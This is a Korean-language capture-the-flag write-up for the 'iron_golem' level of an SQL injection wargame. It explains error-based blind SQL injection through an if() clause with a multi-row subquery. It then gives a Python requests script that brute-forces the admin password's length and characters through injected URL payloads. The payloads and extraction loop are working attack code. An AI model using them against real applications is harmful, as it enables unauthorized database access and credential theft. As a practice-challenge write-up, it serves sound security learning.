이 문제는 애들한테 말로만 듣던 에러 기반 블라인드 인젝션 문제임을 파악할 수 있었다.
그저 쿼터 하나 넣었는데 에러가 뜨길래 파악을 할 수 있었다.
select * from table where 1 and if(1=1,1,(select 1 union select 2))
select * from table where 1 and if(1=2,1,(select 1 union select 2))
첫번째 예제는 if 절이 1=1 로 참이 되면서 단순히 1을 반환한다.
두번째 예제는 if 절이 거짓이 되면서 select 1 union select 2 라는 쿼리를 실행하게 되고,
서브쿼리에서 복수의 값을 반환하면서 에러가 발생하게 된다. (thx to hellsonic)
http://hackerschool.org/Sub_Html/HS_Posting/?uid=43
글을 읽고 풀었다.
너모 감사드린다.
import requests
url = "https://los.eagle-jump.org/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php"
headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}
'''
?pw=1234%27%20or%20id=%27admin%27%20and%20%20if((length(pw)=16),1,(select%201%20union%20select%202));%20%23%20
error : Subquery returns more than 1 row
'''
length = 0
for i in range(1,100):
rs = requests.get(url + "?pw=1234%27%20or%20id=%27admin%27%20and%20%20if((length(pw)=" + str(i) + "),1, (select%201%20union%20select%202));%20%23%20", headers=headers, cookies=cookies)
text = rs.text
if("Subquery returns more than 1 row" in text):
pass
else:
print("find it length = " + str(i))
length = i/4
break
# get length
for i in range(1, i+1):
for c in range(33, 255):
rs = requests.get(url + "?pw=1234%27%20or%20id=%27admin%27%20and%20%20if((ord(substr(pw,"+ str(i) +",1))="+ str(c) +",1,(select%201%20union%20select%202));%20%23%20", headers=headers, cookies=cookies)
text = rs.text
if(not "Subquery returns more than 1 row" in text):
print(str(i) + " find it " + str(c))
break
유니코드이기때문에 /4를 해주었다.